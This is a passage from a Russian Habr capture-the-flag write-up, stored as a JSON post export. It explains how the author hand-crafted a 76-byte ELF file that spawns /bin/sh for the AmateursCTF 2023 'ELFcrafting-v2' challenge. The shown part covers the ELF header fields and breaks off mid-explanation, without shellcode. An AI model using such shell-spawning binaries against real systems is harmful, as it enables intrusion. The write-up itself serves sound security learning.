{"id":350574,"date":"2023-07-21T03:00:13","date_gmt":"2023-07-21T03:00:13","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=350574"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=350574","title":{"rendered":"<span>\u041f\u0438\u0448\u0435\u043c \u043c\u0438\u043a\u0440\u043e-shellcode \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 ELF \u0432\u0440\u0443\u0447\u043d\u0443\u044e<\/span>"},"content":{"rendered":"<div><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u041d\u0430 \u0425\u0430\u0431\u0440\u0435 \u0443\u0436\u0435 \u043d\u0435 \u0440\u0430\u0437 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u0442\u0430\u0442\u044c\u0438 \u043f\u0440\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0444\u043e\u0440\u043c\u0430\u0442\u0430 ELF \u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u0442\u0430\u043a\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0435 \u0432\u0440\u0443\u0447\u043d\u0443\u044e, \u043d\u043e \u044f \u043d\u0435 \u0441\u0447\u0438\u0442\u0430\u044e \u043b\u0438\u0448\u043d\u0438\u043c \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c \u0438 \u0441\u0432\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0441\u044f \u0444\u0430\u0439\u043b, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0439 <code>\/bin\/sh<\/code> \u0438 \u0437\u0430\u043d\u0438\u043c\u0430\u044e\u0449\u0438\u0439 \u0432\u0441\u0435\u0433\u043e 76 \u0431\u0430\u0439\u0442 (\u0447\u0442\u043e \u043d\u0430 8 \u0431\u0430\u0439\u0442 \u043c\u0435\u043d\u044c\u0448\u0435, \u0447\u0435\u043c \u0441\u0443\u043c\u043c\u0430 \u0434\u043b\u0438\u043d \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 ELF, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0445 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430).<\/p>\n<h2>\u041f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0437\u0430\u0434\u0430\u0447\u0438<\/h2>\n<p>\u041d\u0430\u0447\u043d\u0443 \u0441 \u0442\u043e\u0433\u043e, \u043e\u0442\u043a\u0443\u0434\u0430 \u0432\u0437\u044f\u043b\u0430\u0441\u044c \u0437\u0430\u0434\u0430\u0447\u0430. \u041d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u043b <a href=\"https:\/\/ctf.amateurs.team\" rel=\"noopener noreferrer nofollow\">AmateursCTF 2023<\/a>, \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0437\u0430\u0434\u0430\u0447 \u043d\u0430 pwn \u0431\u044b\u043b\u0430 \u00abELFcrafting-v2\u00bb:<\/p>\n<blockquote>\n<p>The smallest possible 64 bit ELF is 80 bytes. Can you golf it down to 79 bytes?<\/p>\n<\/blockquote>\n<p>\u0418 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d \u0444\u0430\u0439\u043b, \u043a\u0440\u0443\u0442\u044f\u0449\u0438\u0439\u0441\u044f \u043d\u0430 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041e\u0442\u043a\u0440\u044b\u0432\u0430\u044f \u0444\u0430\u0439\u043b \u0432 Ghidra \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u043e\u0442 \u043d\u0430\u0441 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f:<\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/75b\/2eb\/ac7\/75b2ebac72361e302d1316b980a7ae17.png\" alt=\"\u041a\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 main\" title=\"\u041a\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 main\" width=\"450\" height=\"510\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/75b\/2eb\/ac7\/75b2ebac72361e302d1316b980a7ae17.png\"\/><\/p>\n<div><figcaption>\u041a\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 main<\/figcaption><\/div>\n<\/figure>\n<p>\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0440\u0435\u0448\u0438\u0442\u044c \u0437\u0430\u0434\u0430\u0447\u0443 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0444\u043b\u0430\u0433 \u2014 \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 ELF-\u0444\u0430\u0439\u043b (\u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0444\u0430\u0439\u043b\u0430). \u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u043d\u0430 \u0432\u0441\u044f\u043a\u0438\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u0431\u044b\u043b \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u043a\u043e\u0434 \u044f\u0434\u0440\u0430 Linux \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c\u0441\u044f \u0441 \u0442\u0430\u043a\u043e\u0439 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u043e\u0439, \u043d\u043e \u043a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, shebang \u0441\u0442\u0440\u043e\u043a\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u0442\u044c\u0441\u044f \u0441 <code>#!<\/code>, \u0430 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u044e\u0442\u0441\u044f \u043c\u043e\u0434\u0443\u043b\u044f\u043c\u0438, \u0438 \u0432 \u0446\u0435\u043b\u043e\u043c \u0442\u043e\u0436\u0435 \u043d\u0435 \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0442.<\/p>\n<h2>\u0418\u0437\u0443\u0447\u0430\u0435\u043c \u0444\u043e\u0440\u043c\u0430\u0442 ELF<\/h2>\n<p>\u0412\u043e\u043e\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0441\u044c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u043c (<a href=\"https:\/\/refspecs.linuxfoundation.org\/elf\/elf.pdf\" rel=\"noopener noreferrer nofollow\">\u0441\u0441\u044b\u043b\u043a\u0430<\/a>) \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0434\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0445\u043e\u0442\u044c \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c\u044b\u0439 ELF-\u0444\u0430\u0439\u043b.<\/p>\n<p>\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u0442\u044c\u0441\u044f \u0444\u0430\u0439\u043b \u0434\u043e\u043b\u0436\u0435\u043d \u0441 ELF-\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430, \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<pre><code class=\"cpp\">#define EI_NIDENT 16  typedef struct {     unsigned char e_ident[EI_NIDENT];     Elf32_Half    e_type;     Elf32_Half    e_machine;     Elf32_Word    e_version;     Elf32_Addr    e_entry;     Elf32_Off     e_phoff;     Elf32_Off     e_shoff;     Elf32_Word    e_flags;     Elf32_Half    e_ehsize;     Elf32_Half    e_phentsize;     Elf32_Half    e_phnum;     Elf32_Half    e_shentsize;     Elf32_Half    e_shnum;     Elf32_Half    e_shstrndx; } Elf32_Ehdr;<\/code><\/pre>\n<p>\u0417\u0434\u0435\u0441\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0442\u0438\u043f\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u043f\u043e\u043b\u0435\u0439, \u043e\u043d\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442\u0441\u044f \u0434\u043b\u044f <strong>32-\u0431\u0438\u0442\u043d\u043e\u0433\u043e<\/strong> \u0444\u043e\u0440\u043c\u0430\u0442\u0430 ELF (\u0432 64-\u0431\u0438\u0442\u043d\u043e\u043c \u0434\u0440\u0443\u0433\u0438\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f) \u0447\u0443\u0442\u044c \u0432\u044b\u0448\u0435 \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0435:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td data-colwidth=\"156\" width=\"156\">\n<p align=\"left\">\u0418\u043c\u044f<\/p>\n<\/td>\n<td data-colwidth=\"69\" width=\"69\">\n<p align=\"left\">\u0420\u0430\u0437\u043c\u0435\u0440<\/p>\n<\/td>\n<td data-colwidth=\"125\" width=\"125\">\n<p align=\"left\">\u0412\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041f\u043e\u044f\u0441\u043d\u0435\u043d\u0438\u0435<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"156\" width=\"156\">\n<p align=\"left\"><code>Elf32_Addr<\/code><\/p>\n<\/td>\n<td data-colwidth=\"69\" width=\"69\">\n<p align=\"center\">4<\/p>\n<\/td>\n<td data-colwidth=\"125\" width=\"125\">\n<p align=\"center\">4<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0411\u0435\u0437\u0437\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"156\" width=\"156\">\n<p align=\"left\"><code>Elf32_Half<\/code><\/p>\n<\/td>\n<td data-colwidth=\"69\" width=\"69\">\n<p align=\"center\">2<\/p>\n<\/td>\n<td data-colwidth=\"125\" width=\"125\">\n<p align=\"center\">2<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0411\u0435\u0437\u0437\u043d\u0430\u043a\u043e\u0432\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u0441\u0440\u0435\u0434\u043d\u0435\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0430<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"156\" width=\"156\">\n<p align=\"left\"><code>Elf32_Off<\/code><\/p>\n<\/td>\n<td data-colwidth=\"69\" width=\"69\">\n<p align=\"center\">4<\/p>\n<\/td>\n<td data-colwidth=\"125\" width=\"125\">\n<p align=\"center\">4<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0411\u0435\u0437\u0437\u043d\u0430\u043a\u043e\u0432\u043e\u0435 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0435 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"156\" width=\"156\">\n<p align=\"left\"><code>Elf32_Sword<\/code><\/p>\n<\/td>\n<td data-colwidth=\"69\" width=\"69\">\n<p align=\"center\">4<\/p>\n<\/td>\n<td data-colwidth=\"125\" width=\"125\">\n<p align=\"center\">4<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0417\u043d\u0430\u043a\u043e\u0432\u043e\u0435 \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0447\u0438\u0441\u043b\u043e<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"156\" width=\"156\">\n<p align=\"left\"><code>Elf32_Word<\/code><\/p>\n<\/td>\n<td data-colwidth=\"69\" width=\"69\">\n<p align=\"center\">4<\/p>\n<\/td>\n<td data-colwidth=\"125\" width=\"125\">\n<p align=\"center\">4<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0411\u0435\u0437\u0437\u043d\u0430\u043a\u043e\u0432\u043e\u0435 \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0447\u0438\u0441\u043b\u043e<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"156\" width=\"156\">\n<p align=\"left\"><code>unsigned char<\/code><\/p>\n<\/td>\n<td data-colwidth=\"69\" width=\"69\">\n<p align=\"center\">1<\/p>\n<\/td>\n<td data-colwidth=\"125\" width=\"125\">\n<p align=\"center\">1<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0411\u0435\u0437\u0437\u043d\u0430\u043a\u043e\u0432\u043e\u0435 \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u043e\u0435 \u0447\u0438\u0441\u043b\u043e<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u0421\u0430\u043c\u0438 \u0436\u0435 \u043f\u043e\u043b\u044f \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 \u0438\u043c\u0435\u044e\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435:<\/p>\n<ul>\n<li>\n<p><code>e_ident<\/code> \u2014 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 ELF-\u0444\u0430\u0439\u043b\u0430 (\u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d \u043d\u0438\u0436\u0435)<\/p>\n<\/li>\n<li>\n<p><code>e_type<\/code> \u2014 \u0442\u0438\u043f ELF-\u0444\u0430\u0439\u043b\u0430, \u0434\u043b\u044f \u043d\u0430\u0448\u0438\u0445 \u0446\u0435\u043b\u0435\u0439 \u043f\u043e\u0434\u043e\u0439\u0434\u0451\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 2 \u00ab\u0418\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b\u00bb<\/p>\n<\/li>\n<li>\n<p><code>e_machine<\/code> \u2014 \u043f\u043e\u043b\u0435 \u043f\u0440\u0438\u0437\u0432\u0430\u043d\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0443\u044e \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 ELF-\u0444\u0430\u0439\u043b\u043e\u043c, \u043d\u043e \u043f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430 \u0434\u0435\u043b\u0435 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f. \u0412 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0435 \u0443\u043a\u0430\u0437\u0430\u043d \u0441\u043f\u0438\u0441\u043e\u043a \u0438\u0437 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0435\u0440\u0432\u044b\u0445 \u0442\u0438\u043f\u043e\u0432, \u043d\u043e \u043e\u043d \u043d\u0435\u043f\u043e\u043b\u043d\u044b\u0439 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 GCC \u043d\u0430 \u043c\u043e\u0435\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0441\u0442\u0430\u0432\u0438\u0442 \u0442\u0438\u043f <code>0x3e<\/code> \u00abAdvanced Micro Devices X86-64\u00bb), \u0432\u044b\u0431\u0435\u0440\u0435\u043c 3 \u00abIntel 80386\u00bb \u043f\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u0435, \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0439 \u043d\u0438\u0436\u0435<\/p>\n<\/li>\n<li>\n<p><code>e_version<\/code> \u2014 \u0435\u0441\u043b\u0438 \u0432\u0435\u0440\u0438\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0443, \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u0440\u0430\u0432\u043d\u043e 1<\/p>\n<\/li>\n<li>\n<p><code>e_entry<\/code> \u2014 \u0432\u0430\u0436\u043d\u043e\u0435 \u0434\u043b\u044f \u043d\u0430\u0441 \u043f\u043e\u043b\u0435, \u0430\u0434\u0440\u0435\u0441 \u0442\u043e\u0447\u043a\u0438 \u0432\u0445\u043e\u0434\u0430 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 (\u043d\u0435 \u043e\u0442 \u043d\u0430\u0447\u0430\u043b\u0430 \u0444\u0430\u0439\u043b\u0430)<\/p>\n<\/li>\n<li>\n<p><code>e_phoff<\/code> \u2014 \u0435\u0449\u0451 \u043e\u0434\u043d\u043e \u0432\u0430\u0436\u043d\u043e\u0435 \u043f\u043e\u043b\u0435, \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u043e\u0442 \u043d\u0430\u0447\u0430\u043b\u0430 \u0444\u0430\u0439\u043b\u0430 \u0434\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b (Program Header), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 ELF-\u0444\u0430\u0439\u043b\u0430<\/p>\n<\/li>\n<li>\n<p><code>e_shoff<\/code> \u2014 \u043f\u043e\u043b\u0435, \u0437\u0430\u0434\u0430\u044e\u0449\u0435\u0435 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0434\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \u0441\u0435\u043a\u0446\u0438\u0439 (Section Header), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0434\u043b\u044f \u043b\u0438\u043d\u043a\u043e\u0432\u043a\u0438 \u0444\u0430\u0439\u043b\u0430, \u0434\u043b\u044f \u043d\u0430\u0448\u0438\u0445 \u0446\u0435\u043b\u0435\u0439 \u0435\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 <strong>\u043d\u0435 \u0438\u0433\u0440\u0430\u0435\u0442 \u0440\u043e\u043b\u0438<\/strong> \u0438 \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0432\u0430\u0436\u043d\u043e \u0432 \u0431\u0443\u0434\u0443\u0449\u0435\u043c<\/p>\n<\/li>\n<li>\n<p><code>e_flags<\/code> \u2014 \u043f\u043e\u043b\u0435 \u0437\u0430\u0434\u0430\u044e\u0449\u0435\u0435 \u0444\u043b\u0430\u0433\u0438, \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u043d\u044b\u0435 \u0434\u043b\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430, \u043a\u0430\u043a \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0442\u0430\u043a\u0436\u0435 \u043d\u0435 \u0432\u0430\u0436\u043d\u044b<\/p>\n<\/li>\n<li>\n<p><code>e_ehsize<\/code> \u2014 \u0440\u0430\u0437\u043c\u0435\u0440 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 ELF-\u0444\u0430\u0439\u043b\u0430, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043a\u0430\u0436\u0443\u0449\u0443\u044e\u0441\u044f \u0437\u043d\u0430\u0447\u0438\u043c\u043e\u0441\u0442\u044c, \u044f\u0434\u0440\u043e Linux \u0432\u0438\u0434\u0438\u043c\u043e \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u0435\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u044f \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0444\u0430\u0439\u043b\u0430<\/p>\n<\/li>\n<li>\n<p><code>e_phentsize<\/code> \u2014 \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0438\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0432 \u043c\u043e\u0451\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u044d\u0442\u043e 32 \u0431\u0430\u0439\u0442\u0430, \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0441 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u043c \u043f\u043e \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438<\/p>\n<\/li>\n<li>\n<p><code>e_phnum<\/code> \u2014 \u0447\u0438\u0441\u043b\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, 1<\/p>\n<\/li>\n<li>\n<p><code>e_shentsize<\/code> \u2014 \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0438\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \u0441\u0435\u043a\u0446\u0438\u0438, 0<\/p>\n<\/li>\n<li>\n<p><code>e_shnum<\/code> \u2014 \u0447\u0438\u0441\u043b\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \u0441\u0435\u043a\u0446\u0438\u0438, \u0434\u043e\u043b\u0436\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 0<\/p>\n<\/li>\n<li>\n<p><code>e_shstrndx<\/code> \u2014 \u0438\u043d\u0434\u0435\u043a\u0441 \u0432 \u043c\u0430\u0441\u0441\u0438\u0432\u0435 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \u0441\u0435\u043a\u0446\u0438\u0438, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0441\u0435\u043a\u0446\u0438\u0438 \u0441 \u0442\u0430\u0431\u043b\u0438\u0446\u0435\u0439 \u0441\u0442\u0440\u043e\u043a\u043e\u0432\u044b\u0445 \u0438\u043c\u0451\u043d, \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u043c\u0435\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 0<\/p>\n<\/li>\n<\/ul>\n<p>\u041d\u0430 \u0434\u0430\u043d\u043d\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u043f\u0440\u043e\u0447\u0442\u0435\u043d\u0438\u044f \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u043a\u0430\u043a\u043e\u0439 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c endianness \u0443 \u0447\u0438\u0441\u0435\u043b \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u0432\u043e\u043f\u0440\u043e\u0441 \u043d\u0438\u0436\u0435, \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u043f\u0440\u043e ELF identification. \u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 ELF-\u0444\u0430\u0439\u043b\u0430 \u0438\u043c\u0435\u0435\u0442 \u0434\u043b\u0438\u043d\u0443 16 \u0431\u0430\u0439\u0442 (\u043a\u0430\u043a \u0431\u044b\u043b\u043e \u0443\u043a\u0430\u0437\u0430\u043d\u043e \u0432\u044b\u0448\u0435) \u0438 \u0438\u043c\u0435\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443:<\/p>\n<ul>\n<li>\n<p>\u0421\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u0430: <code>\\x7fELF<\/code>, \u0438\u043b\u0438 <code>7f 45 4c 46<\/code> \u0432 \u0448\u0435\u0441\u0442\u0430\u043d\u0434\u0446\u0430\u0442\u0438\u0440\u0438\u0447\u043d\u043e\u043c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0438<\/p>\n<\/li>\n<li>\n<p>\u041a\u043b\u0430\u0441\u0441 \u0444\u0430\u0439\u043b\u0430: 1 \u0434\u043b\u044f ELF32, 2 \u0434\u043b\u044f ELF64<\/p>\n<\/li>\n<li>\n<p>\u041a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435: 1 \u0434\u043b\u044f little-endian, 2 \u0434\u043b\u044f big-endian<\/p>\n<\/li>\n<li>\n<p>\u0412\u0435\u0440\u0441\u0438\u044f: \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e \u043f\u043e\u043b\u044e \u0432\u0435\u0440\u0441\u0438\u0438 \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435, 1<\/p>\n<\/li>\n<li>\n<p>\u0412\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435: 9 \u043d\u0443\u043b\u0435\u0439 \u0434\u043b\u044f \u0437\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043e 16 \u0431\u0430\u0439\u0442, \u043f\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0443 \u0438\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 